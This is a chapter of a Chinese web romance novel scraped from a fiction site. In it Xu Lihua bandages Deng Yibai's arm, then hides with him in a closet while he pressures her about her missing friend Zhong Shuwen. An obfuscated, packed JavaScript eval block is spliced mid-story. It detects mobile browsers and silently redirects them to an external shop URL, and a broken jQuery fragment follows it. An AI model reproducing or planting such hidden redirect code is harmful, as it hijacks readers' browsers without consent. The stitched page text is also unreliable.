文趣网 > 玄幻小说 > 肌肤之亲 > 15. 不亲
    宿舍楼的楼梯是磨损灰败的旧石板。

    许立花跨过窄窄的门槛,先进门将室友和自己的东西收进小杂物间里,才开门:

    “我室友都上夜班,这会不在,你不介意的话,可以进来。”

    邓亦白笑说不会,他在门口脱掉皮鞋,才越过门槛,欠身说一句:“打扰了。”

    旧石板外,牛津鞋纤尘不染,认真地并拢摆成一排。

    她随手搬来一张板凳:“你先坐一下。”

    邓亦白点头,自然地掏出张手帕,在板凳接触面擦拭几下,才坐下去。

    房间内又热又潮,汗粘住头发粘在脸上,许立花解开旗袍顶端的盘扣散热,她蹲在下铺放行李的铁丝架下,在蛇皮袋里翻来覆去,终于找到消毒水和扎带。

    她让邓亦白撩起袖口,轻轻按住他的小臂,拿棉签给他的伤口消毒,只是没有愈合用的药膏,她拿出未拆过的消炎药膏:

    “只能将就一下了,你上次给的消炎药膏我还未用过。”

    邓亦白抬头:“因为是我送的吗?”

    “噢,这倒不是。”许立花边说边拧开盖子,手指蘸上软白的药体,在邓亦白冰凉的手臂上打着圈:

    “我拆档案袋的时候才知道里面放了药膏,那时候我手都好了。”

    许立花将扎带在他伤口处缠了几圈,小心拿匕首划断切口时,手腕停在对方的手心,温温热热,拇指上的扳指却冰得她一颤,犹如冰火两重天。

    “我还以为,许小姐会很着急找你的那位朋友。”

    邓亦白盯住她包扎的手指,语气清淡。

    “我确实着急。”许立花说;

    “算上在内地托关系□□明,再来到港岛,我联系不上他已经三个多月,如果他没有遭遇不测,一定会主动联系我。”

    邓亦白问:“如果遭遇了呢?”

    “那可能就是阿sir联系我了吧。”她回答得直白,表情却微微透着落寞;“我倒希望他不联系我。”

    咔擦一声,匕首锐利斩掉扎带边缘,邓亦白将视线轻轻从那双素手挪开,他放下衬衫袖口,慢条斯理地整理着;

    “许小姐一定是重情重义的人。邓某十分好奇,你和钟先生是如何认识的?”

    “这不关你的事。”

    她收起消毒水和药膏;“我说过了,他是我很重要的朋友,但我和他从来不是恋人关系。”

    邓亦白没说话,只微笑望着她,他起身刚走到她身边,房间门外忽然响起一阵钥匙开门的声音。

    许立花心中一惊,情急下,她抓住邓亦白的手腕,两人躲进杂物间里。

    杂物间逼仄拥挤,到处是折叠的晾衣架,坚硬的金属和未干的衣物紧紧贴在一起;许立花缩起脖子,颈上的汗水滴落进旗袍,她不自在别过头,努力忽视近在面前的,被衣料裹住隐隐贲张的胸膛。

    外面的人开门进了房间,疑惑道:

    “奇怪,门口哪来的男人的鞋子啊?喂,你们谁交男朋友了?”

    “交男友个毛啊!天天夜班人快散架啦,连回来拿个东西都要打报告。”

    “会不会是我们宿舍新来的那个——”

    咚地一声,杂物间的门发出细微响动。

    许立花盯住邓亦白忽然攥住她肩膀的手,杏眼圆睁,单薄的脊背抵住冰凉的木门,她低声斥问:

    “你要做什么。”

    邓亦白:“门把手在你后面。”

    许立花眼中惊异:“不准开门。”

    他靠得很近,微凉的手指扣住她渐渐升温的肌肤,两人之间近到只剩一层薄薄和发汗的衣料,耳边是放大后,潮热的呼吸声,他问:

    “立花,可是刚才的问题你还没有回答我。”

    “什么?”

    “你和他,是怎么认识的。”

    许立花眼中惊疑,还没从邓亦白的问题中反应过来,杂物间的小木门从外面急切地拍打起来——

    “许立花,是你在里面吗?”

    她呼吸屏住,声音带着蜷颤:“是.....是我,我在换衣服。”

    “你一个人换衣服吗?”门外的声音停顿几下,笑声暧昧;“还是,和男朋友——”

    “我一个人。”许立花直接打断,十分急切地撇清:“我没有男朋友。”

    话音刚落,捏住她肩头的大掌缓缓收紧,身后那枚历史悠久的门把手,脆弱地被人握住。

    邓亦白拇指的戒指触到许立花的脸颊肉上,细细地摩挲,仿佛是凌迟;

    “立花,我只是想知道你和他是如何认识的。”

    邓亦白眼神柔和,儒雅斯文的一张脸,却淡淡地说出一些令她心惊的话:

    “这个问题,我总不能去问你那些室友吧,她们连你有没有男友都不知道。”

    狭窄空间里,未干的衣服泛起夏日雨后的酸味,潮热的气息紧紧笼罩住两人;许立花看见衣服架子上的挂着一件粉色里衣,正是自己的,她慌乱地揪住邓亦白的领带,不让他看。

    邓亦白的身体往她的方向尽数覆盖过来,两人鼻尖轻撞在一起,呼吸无形交融,他脸上看不出表情,眼睛俯视,看着许立花脖颈上的一滴香汗,沿着她敞开的旗袍领口,落入一片透明的空地中。

    许立花看见邓亦白喉结上的青筋,在无声滚动。

    他抓住门把手和她肩头的手掌,仍然持续收紧。

    “笃笃笃——”门外的人又在拍打质问。

    “是在社区教养院。”

    许立花的头发被汗水浸湿,无奈粘在邓亦白的耳边:

    “钟述文和我都是被送到教养院的孤儿,从小一起长大是青梅竹马,中学起一直是同班同学,中专毕业后去实习,还做过半年同事。”

    “我学画画是因为他的鼓励,来港岛也是因为他.....他几乎可以算作我的家人。”

    邓亦白低头望她:“原来如此。”

    他抬手抚去许立花脖子上的一粒水珠,手指抹过唇角,尝到她身体里咸涩的味道;

    “那你喜欢他吗?”

    许立花不可置信:“你怎么可以.....问我这种问题?”

    “喜欢或不喜欢,还是喜欢过?”

    他步步紧逼,握住门把手又是一声细微的转动,似是威胁。

    “砰砰砰——”杂物间的门持续被外力拍打,如心脏的擂鼓一般。

    她腹部止不住地哆嗦一下,腰塌下去,触到邓亦白抵在门上的手掌,他顺势收紧,拢住一片纤韧的腰肢。

    许立花忽然狠狠呼出一口热气,吐到邓亦白的脸上:

    “你管我喜不喜欢。”

    她攥住领带的手收紧:“但你要是敢开门,你会喜欢当回光棍的日子的。”

    话音刚落,邓亦白抬手包住她的掌心,另一只手稳稳抵在杂物间的门上,两人位置立刻攻受转换。

    许立花低呼一声,身体碰倒了身后的金属衣架,忽然看见那枚粉色里衣正摇摇欲坠,她手疾眼快朝邓亦白扑过去,抓起领带,一双香胰覆在他脸上,盖住他的视线,趴在他耳边凶狠附语:

    “不许看。”

    邓亦白在黑暗中温和地笑一下,拉扯开唇角的小痣。

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17507648|202404||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    许立花对门外道;

    “我刚刚有点中暑,没听到你们说话,不好意思。”

    “你们是问门口的皮鞋吗?噢,服装厂要开新线,那是红姐从外面买回来的样品,晓佩拿来让我誊稿。”她很快编出个合理的谎话。

    门外静默片刻,拍打门的声音终于停下。

    “这样啊——噢,那你自己小心,我们去上夜班了。”

    室友悻悻地踩着门离开。

    杂物间的门立刻被撞开。

    许立花推邓亦白出去,抬手给了他一巴掌:

    “你刚刚什么意思,威胁我?莫非你有什么被捉奸在床的癖好吗?”

    “捉奸?这个词不太准确。”

    邓亦白摘掉覆在眼上的领带,领角微乱,笑着拿手指抹过被许立花扇过的地方:

    “立花,我们是正常交往的男女朋友,应该是公开,昭告,诸如此类。”

    他被她扇过的地方,一点红印也没有。

    许立花摊开手,有些怀疑究竟是自己收敛了力气,还是对方太厚脸皮;她抬头,不禁气笑:

    “邓亦白,你还真是——”赖皮狗食屎,熏死了还往上贴。

    她说不出后半句,从包里拿出这周要还给邓亦白的钱,扔给他:“带着你的钱滚出去。”

    “好的。”邓亦白笑道。

    他斯文地捡起纸袋,一副好像无事发生的样子,从容地走到门口,套上皮鞋,拢好微乱的西装和衬衫,向她颔首示意,整个流程行云流水。

    简直像一个幽灵。

    房间内的空气冷却下来。

    许立花瘫坐在板凳上,抹去额角的汗,看见邓亦白坐过的那张旧木板凳被擦拭得一尘不染。

    可明明几分钟前,他还慢条斯理地蘸过她脖前流下的汗,还放进......

    耳朵和脸如涨红的柿子一般熟起来,许立花拉开电扇开关,狠狠开到最大风力,势必要将脑中所有奇怪的画面统统吹走,

    炎炎夏日,服装厂的办公室内都打起了三盏风扇。

    礼拜天,晓佩照例将朱红淘来的印花稿交给许立花誊稿,她誊完稿之后再让晓佩过目,就可以交给车间生产,石塘咀的许多小服装厂都是这样做。

    与其说是服装厂,倒不如说是代工厂。

    许立花将稿子拿到成衣车间。

    刚走到车间,棉絮和碎布片飞到她鼻尖,她忍不住打了个喷嚏,几个工人跑过来,问她:

    “劳工签证的事情你听说了吗?”

    许立花摇头:“什么签证?”

    “外地人在港岛的劳工签证呀!今早报纸上都写了,由工作单位申报,即便你是偷渡来,或是用挂亲证办的居留,也都能合法留在港岛了,但名额有限——许立花,你在朱红姐办公室工作,应该有名额吧?”

    工人们好奇又期待地看她。

    “我一个实习生怎么会知道这些,这是老板的事情。”

    她打了几个哈哈将问题掀过去,再有人来问,一概说不知道,没通知。

    傍晚下班,许立花背着画板,去老鼠街卖画。

    路过士多,她买了一根橙味的吱吱冰,放在嘴里边化边嚼。

    硬邦邦的塑料被她咬出破口,晶莹的果汁沿着梨涡淌进旗袍,将里衣都浸/湿;许立花慌忙在路边翻包找手帕,手没拿稳,包里的东西掉出来。

    许立花捡起那部珍珠白的传呼机,灰色屏幕立刻亮起来;眼前水泥地上,墨绿的薄底牛津鞋停在她手边。

    邓亦白蹲下身,手指拂过她唇角的果汁,尝进嘴里。